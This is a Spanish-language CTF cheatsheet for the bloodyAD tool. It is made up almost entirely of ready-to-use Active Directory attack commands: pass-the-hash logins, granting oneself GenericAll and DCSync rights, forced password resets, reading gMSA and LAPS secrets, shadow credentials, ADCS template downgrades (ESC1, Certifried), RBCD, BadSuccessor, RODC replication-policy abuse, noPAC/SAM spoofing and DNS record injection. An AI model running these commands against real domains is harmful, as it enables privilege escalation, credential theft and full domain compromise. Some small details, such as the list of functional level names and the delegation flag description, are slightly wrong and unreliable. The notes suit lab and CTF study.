// CTF Notes — Active Directory Reference

bloodyAD Cheatsheet

Autenticación · ACL Abuse · Objetos AD · Grupos · RBCD · DCSync · noPAC
bloodyAD set password add genericAll add dcsync GenericAll WriteDacl ForceChangePassword RBCD noPAC / SAM Spoofing Kerberos proxychains
🔌Autenticación — Modos de Conexión
ComandoDescripción
bloodyAD --host <DC_FQDN> -d <domain> -u <user> -p '<pass>' <acción>Autenticación básica con contraseña en texto claro + especificando FQDN: necesario cuando el dominio tiene resolución DNS configurada — formato más habitual en CTF
bloodyAD --host <DC_FQDN> -d <domain> -u <user> -p '<:hash>' <acción>Para realizar PtH(Pass the Hash) -p ':NThash'
bloodyAD --host <DC_IP> -d <domain> -u <user> -p '<pass>' --dc-ip <DC_IP> <acción>Especifica --dc-ip de forma explícita — útil cuando --host es un FQDN y hay resolución DNS inestable
bloodyAD --host <DC_IP> -d <domain> -u <user> -k <acción>Autenticación Kerberos usando la caché de tickets (KRB5CCNAME) — usado tras importar/forjar un ticket .ccache
KRB5CCNAME=/ruta/ticket.ccache bloodyAD --host <FQDN> -d <domain> -u <user> -k <acción>Establece el ticket activo y lanza bloodyAD con Kerberos en un solo bloque — útil tras S4U2Self
proxychains bloodyAD --host <DC_IP> -d <domain> -u <> -p <> --dc-ip <DC_IP> <acción>Conexión a través de túnel SOCKS (chisel/ligolo) — para acceder a DCs de redes internas pivotando desde un host comprometido
bloodyAD [...] -f rc4 / aes / etcEspecifica formato de autenticación (Kerberos/Hash)
🔎Enumeración — get object / get writable
ComandoDescripción
bloodyAD [...] get bloodhoundRecolecta datos para BloodHound (si tenemos acceso para ldap)
bloodyAD [...] get object '<CN o DN>'Recupera todos los atributos de un objeto AD — usuarios, grupos, equipos, GPOs, etc. Equivalente a Get-ADObject
bloodyAD [...] get object '<CN>' --attr memberOfMuestra únicamente el atributo memberOf del objeto — útil para ver a qué grupos pertenece un usuario sin output excesivo
bloodyAD [...] get object '<COMPUTER$>'Consulta atributos de una cuenta de equipo
bloodyAD [...] get object '<CN>' --resolve-sdMuestra la Security Descriptor del objeto resuelta en texto legible — revela ACEs, propietarios y permisos efectivos sobre el objeto
bloodyAD [...] get writable --otype ALL --detailLista todos los objetos AD sobre los que el usuario actual tiene permisos de escritura — primera acción tras comprometer una cuenta para buscar ACL abuse
bloodyAD [...] get writable --otype COMPUTER --detailFiltra solo objetos de tipo COMPUTER donde se tienen permisos de escritura — busca targets para RBCD o SPN abuse
bloodyAD [...] get children --target 'DC=<domain>,DC=<tld>' --otype userLista todos los usuarios del dominio — Siendo los atributos críticos name,distinguishedName,objectSid,description,memberOf,userAccountControl,adminCount
bloodyAD [...] get children --target 'DC=<domain>,DC=<tld>' --otype computerLista todos los equipos del dominio
bloodyAD [...] get children --target 'DC=<domain>,DC=<tld>' --otype containerLista contenedores del dominio.
bloodyAD [...] get children --target 'DC=<domain>,DC=<tld>' --otype OUListar todas las OU del dominio.
bloodyAD [...] get children --target 'CN=SitesDC,CN=Configuration,DC=<domain>,DC=<tld>'Listar todas las Sites del dominio.
bloodyAD [...] get search --filter '(servicePrincipalName=*)' --attr sAMAccountNameLista cuentas Kerberoastables (con SPN)
bloodyAD [...] get search --filter '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' --attr sAMAccountNameLista cuentas AS-REP Roastables (DONT_REQ_PREAUTH)
bloodyAD [...] get children --otype trustedDomainEnumera relaciones de confianza (trusts)
bloodyAD [...] get object 'DC=<domain>,DC=<tld>' --attr minPwdLengthObtiene la política de longitud mínima de contraseña
bloodyAD [...] get object 'DC=<domain>,DC=<tld>' --attr msDS-Behavior-VersionObtiene el nivel funcional del dominio — Dependiendo del valor, funciona en un servidor distinto [0 (Windows 200), 1 (Windows Server interim), 2 (Windows Server 2003), 3 (Windows Server 2008), 4 (Windows Server 2008 R2), 5 (Windows Server 2012), 6 (Windows Server 2012 R), 7 (Windows Server 2016), 8 (Windows Server 2019), 9 (Windows Server 2022), 10 (Windows Server 2025)]
bloodyAD [...] get object '<user>' --attr userAccountControlMuestra flags UAC del usuario — Si quisieramos buscar el UAC de un usuario en específico, debemos utilizar get object --attr userAccountControl
bloodyAD [...] get dnsDumpDump completo de registros DNS del AD
bloodyAD [...] get search -hMuestra ayuda para búsquedas LDAP avanzadas
bloodyAD [...] get search -c 1.2.840.113556.1.4.2064 -c 1.2.840.113556.1.4.2065Muestra objetos eliminados — (tombstoned: es el estado de un objeto de Active Directory que ha sido eliminado pero aún no purgado completamente del sistema). También podemos específicarlo explícitamente agregando --filter '(isDeleted=TRUE)'
🔑Cambiar y Leer contraseñas
ComandoDescripción
bloodyAD [...] set password <target_user> '<new_pass>'Cambia la contraseña de target_user sin conocer la actual — requiere ACE ForceChangePassword o GenericAll sobre el objeto usuario
bloodyAD [...] get object '<gmsa$>' --attr msDS-ManagedPasswordLee la contraseña de cuentas gMSA
bloodyAD [...] get object '<COMPUTER$>' --attr ms-Mcs-AdmPwdObtiene contraseña LAPS del equipo
♻️Restaurar Objetos
ComandoDescripción
bloodyAD [...] get object 'DC=htb,DC=local' --attr ntsecuritydescriptor --resolve-sd | grep -B3 'Reanimate-Tombstones' <user>Comprueba si tenemos permisos para restaurar objetos eliminados — También podemos usar get writable --detail para ver si tenemos ACL sobre otros usuarios).
bloodyAD [...] get search -c 1.2.840.113556.1.4.2064 -c 1.2.840.113556.1.4.2065 --filter '(isDeleted=TRUE)'Muestra objetos eliminados
bloodyAD [...] set restore '<user>'Restaura objeto eliminado: podemos especificar SAM, GUID, SID o DN — si hay cross-domain entonces debemos utilizar SID
bloodyAD [...] get writable --include-delIncluye objetos eliminados en búsqueda
🎭ACL Abuse — genericAll / WriteDacl / DCSync / Attributes / ADCS
ComandoDescripción
bloodyAD [...] add groupMember '<GROUP>' '<user>'Añade user al grupo GROUP — requiere GenericAll, GenericWrite o WriteMembers sobre el grupo. Uso habitual: añadirse a grupos privilegiados (Admins, operadores, etc.)
bloodyAD [...] remove groupMember '<GROUP>' '<MEMBER_TO_DELETE>'Elimina user de un grupo — Útil en casos donde el grupo sea Protected Users o nos impida cierta acción
bloodyAD [...] add genericAll 'DC=<domain>,DC=<tld>' <user>Abusa de WriteDacl sobre el objeto raíz del dominio para añadir un ACE GenericAll a tu propio usuario — da control total sobre todo el dominio
bloodyAD [...] add genericAll '<DN_del_objeto>' <user>Añade GenericAll sobre un objeto concreto (GPO, OU, usuario, etc.) identificado por su DN — vector habitual tras encontrar WriteDacl en Bloodhound
bloodyAD [...] add dcsync <user>Otorga privilegios de DCSync al usuario — equivale a añadir el ACE DS-Replication-Get-Changes-All sobre el dominio. Prerequisito para impacket-secretsdump
bloodyAD [...] set owner '<group>' '<user>'Abusa de WriteOwner para tomar control del objeto y posteriormente modificar sus permisos
bloodyAD [...] add shadowCredentials '<target>'Añade Shadow Credentials para persistencia (cert abuse)
bloodyAD [...] set object '<target>' servicePrincipalName -v 'domain/spn'WriteSPN — permite Kerberoasting/control SPN
bloodyAD [...] set object '<COMPUTER$>' sAMAccountName -v '<nuevo_nombre>'Modifica el sAMAccountName de un equipo controlado — vector clave del ataque noPAC/SAM Spoofing (CVE-2021-42278/42287). El nuevo nombre debe ser el DC sin el símbolo $
bloodyAD [...] set object '<user>' userPrincipalName -v '<new_upn>'Modifica el UPN del usuario — Útil para ADCS o UPN Spoofing
bloodyAD [...] set object '<user>' mail -v '<email>'Modifica el atributo mail — Útil en ADCS(ESC14) cuando la plantilla nos solicita(mediante EKU) SubjectAltRequireEmail
bloodyAD [...] set object '<DN>' scriptPath -v '<file>'Modifica script de logon
bloodyAD [...] add uac '<user>' -f DONT_REQ_PREAUTHHace la cuenta AS-REP Roastable
bloodyAD [...] remove uac '<user>' -f ACCOUNTDISABLEEliminar la flag ACCOUNTDISABLE del UAC de la víctima — si no lo removemos, el usuario continuará deshabilitado y no podremos utilizarlo
Modificar el ámbito o el tipo de un grupo (eludir las restricciones de cambio directo de ámbito)Active Directory suele impedir la conversión directa de «Local del dominio» -> «Global» -> permite miembros cross-domain. Solución en las siguientes filas:
bloodyAD [...] set object 'CN=TARGET GROUP,CN=USERS,DC=HTB,DC=LOCAL' groupType -v -21474836401º Convertirlo en un grupo universal de seguridad (-2147483640)
bloodyAD [...] set object 'CN=TARGET GROUP,CN=USERS,DC=HTB,DC=LOCAL' groupType -v -2147483644 2º Convertirlo un grupo global de seguridad (-2147483644).
📃ADCS Attacks
ComandoDescripción
bloodyAD [...] add shadowCredentials '<target>'Shadow Credentials attack (requiere PKINIT)
bloodyAD [...] set object '<user>' altSecurityIdentities -v 'X509:<RFC822>mail'ESC14B — abuso de certificados
bloodyAD [...] set object '<certificate_template(SAM)>' msPKI-Enrollment-Flag -v 11.Downgradeando ESC4 -> ESC1
bloodyAD [...] set object '<certificate_template(SAM)>' msPKI-Certificate-Name-Flag -v 12.Downgradeando ESC4 -> ESC1
bloodyAD [...] set object '<user>' userPrincipalName -v '<new_upn>'Modifica el UPN del usuario — Útil para ADCS o UPN Spoofing
bloodyAD [...] set object '<user>' mail -v '<email>'Modifica el atributo mail — Útil en ADCS(ESC14) cuando la plantilla nos solicita(mediante EKU) SubjectAltRequireEmail
bloodyAD [...] set object '<certificate_template(SAM)>' msPKI-Enrollment-Flag -v 524320CVE-2022-26923 — Paso 1. Permisos WRITE sobre template = Podemos editarlo para que no embebe el SID en el template (para hacerlo vulnerable a Certifried)
bloodyAD [...] set object '<certificate_template(SAM)>' msPKI-Enrollment-Flag -v 524320CVE-2022-26923 — Paso 2. Permiso WRITE sobre dnsHostname = editarlo para que apunte al DC / equipo_víctima. Alternativa con MAQ>0 o WriteMAQ->OU: crear equipo con el dnsHostname editado desde el principio
✏️Abuso de Delegación RBCD / gMSA / dMSA
ComandoDescripción
bloodyAD [...] get object 'DC=<domain>,DC=<tld>' --attr ms-DS-MachineAccountQuotaConsulta MachineAccountQuota
bloodyAD [...] set object 'DC=<domain>,DC=<tld>' ms-DS-MachineAccountQuota -v 10Modifica MachineAccountQuota si tenemos permisos
bloodyAD [...] add rbcd 'TARGET$' 'ATTACKER$'Configura RBCD (Resource-Based Constrained Delegation)
bloodyAD [...] get object '<gMSA>' --attr msDS-ManagedPasswordObtiene contraseña de cuenta gMSA
bloodyAD [...] add uac '<target>' -f TRUSTED_TO_AUTH_FOR_DELEGATIONHabilita Constrained Delegation 0x1000000 (16777216) (delegación no restringida) — el usuario víctima NO debe tener en el UACNOT_DELEGATED
bloodyAD --host <DC_IP> -d <domain> -u <user> -p '<pass>' add computer '<NOMBRE$>' '<pass>'Crea una cuenta de equipo en el dominio — requiere que MAQ > 0 o que el usuario tenga permisos delegados. Usado como paso previo a RBCD o noPAC
bloodyAD --host <DC_IP> -d <domain> -u <user> -p '<pass>' add computer --ou '<OU=X,DC=Y,DC=Z>' '<NOMBRE$>' '<pass>'Crea el equipo en una OU específica con --ou — necesario cuando MAQ=0 globalmente pero el usuario tiene CREATE_CHILD en una OU concreta (p.ej. OU=Servers). El DN de la OU debe ser en mayúsculas
bloodyAD [...] get writable --otype ALL --detailPaso 1. Busca permisos CREATE_CHILD sobre OUs — prerequisito del abuso BadSuccessor. Si el usuario puede crear objetos en una OU, puede usarse para escalar
bloodyAD [...] add badSuccessor attacker_dMSAAbuso de CREATE_CHILD en una unidad organizativa (OU) en Windows Server 2025 — dMSA (BadSuccessor)
bloodyAD [...] get writable --otype COMPUTER --detailPaso 2. Filtra los objetos de tipo COMPUTER con get writable --otype COMPUTER --detail para identificar: 1. Qué equipos ya existen y sobre cuáles tenemos permisos de escritura 2. Dónde podemos crear un nuevo equipo (necesitas al menos permisos de creación dentro de una OU - MAQ > 0) — Para ataques RBCD o BadSuccessor, se necesita un objeto COMPUTER controlado por el atacante. Si no existe uno, se debe crear (machineaccountquota permite crear hasta 10 por defecto)
🥇RODC Attacks (RODC Golden Ticket)
ComandoDescripción
RODC Attack = DC solo de LecturaSi se dispone de control administrativo sobre un objeto de equipo RODC (controlador de dominio de solo lectura) en AD existe una vía para comprometer por completo el dominio. Al modificar la política de replicación de contraseñas (PRP) del RODC mediante los atributos msDS-RevealOnDemandGroup(White-List) y msDS-NeverRevealGroup(Black/Block-List), un atacante puede permitir que las credenciales de un administrador de dominio se almacenen en caché en el RODC, iniciar sesión en el RODC y extraer las credenciales.
bloodyAD [...] get object 'RODC01$' --attr msDS-RevealOnDemandGroupObtener los objetos que pertenece al atributo msDS-RevealOnDemandGroup del objeto RODC.
bloodyAD [...] set object 'RODC01$' msDS-RevealOnDemandGroup -v 'CN=Allowed RODC Password Replication Group,CN=Users,DC=htb,DC=local' -v 'CN=Administrator,CN=Users,DC=htb,DC=local'Añadir el usuario con privilegios elevados (por ejemplo, un administrador) al grupo de replicación permitido, junto con los valores originales obtenidos anteriormente
bloodyAD [...] set object 'RODC01$' msDS-NeverRevealGroupBorramos o modificamos el atributo msDS-NeverRevealGroup para cerciorarnos de que no se impida al usuario víctima(administrador) realizar la replicación
🎭noPAC — SAM Spoofing (CVE-2021-42278/42287)
ComandoDescripción
bloodyAD [...] set object 'FAKE$' sAMAccountName -v 'DC_NAME'Paso 1. Renombra el equipo FAKE$ al nombre del DC sin el $ — engaña al KDC para que emita un TGT como si fuera el DC
bloodyAD --host <DC_FQDN> -d <domain> -u <user> -k --dc-ip <IP> get object "FAKE$"Verifica los atributos actuales del equipo controlado — confirma que el sAMAccountName fue modificado correctamente antes de solicitar el TGT
getTGT.py + export KRB5CCNAME=/ruta/DC_NAME.ccachePaso 2. Establecer el ticket TGT obtenido (como el nombre del DC) — necesario antes de usar getST.py para S4U2Self y obtener un ST como Administrator
bloodyAD [...] get object '<user>' --attr userPrincipalNameVerifica cambio de UPN para luego getST.py -k -no-pass -self -impersonate Administrator -dc-ip <IP> '<WINDCORP.htb/EARTH> -alservice cifs/EARTH.windcorp.htb — Se puede automatiza con scanner.py/noPAC.py
🌐DNS ATTACKS - Alternativa a dnstool.py
ComandoDescripción
bloodyAD [...] get writable --detail Verificar que tenemos el permiso RIGHT_DS_WRITE_PROPERTY o GenericWrite sobre el atributo dnsRecord
bloodyAD [...] add dnsRecord '<name>' '<ip>'Añadimos registro DNS
bloodyAD [...] remove dnsRecord '<name>' '<ip>'Elimina registro DNS
⚙️Referencia Rápida — Flags y Opciones Globales
Flag / OpciónDescripción
--host <IP o FQDN>Dirección del DC. Usar siempre la IP cuando se hace a través de proxychains — el FQDN puede fallar si la resolución DNS no está disponible en el túnel
-d <domain>Nombre del dominio (p.ej. contoso.local) — obligatorio en todos los comandos
-u <username>Usuario autenticado — puede ser en formato user o DOMAIN\user
-p '<password>'Contraseña en texto claro o con ':NThash' para PtH — entrecomillar siempre para evitar problemas con caracteres especiales
-kUsar autenticación Kerberos con el ticket definido en $KRB5CCNAME — no compatible con -p
--dc-ip <IP>Fuerza la IP del DC independientemente de lo que resuelva DNS — combinarlo con --host <FQDN> cuando hay problemas de resolución
--attr <atributo>Filtra la salida de get object a un atributo concreto — evita output masivo (p.ej. --attr memberOf, --attr sAMAccountName)
--resolve-sdResuelve la Security Descriptor del objeto en texto legible — muestra ACEs, trustees y permisos sin necesidad de Bloodhound
--otype ALL / COMPUTER / USER / GROUPFiltra el tipo de objeto en get writable — reduce el output y acelera la enumeración de ACLs abusables
--ou '<DN_OU>'OU de destino para add computer — el DN debe ir en mayúsculas y respetando la jerarquía exacta del directorio (verificar en Bloodhound antes)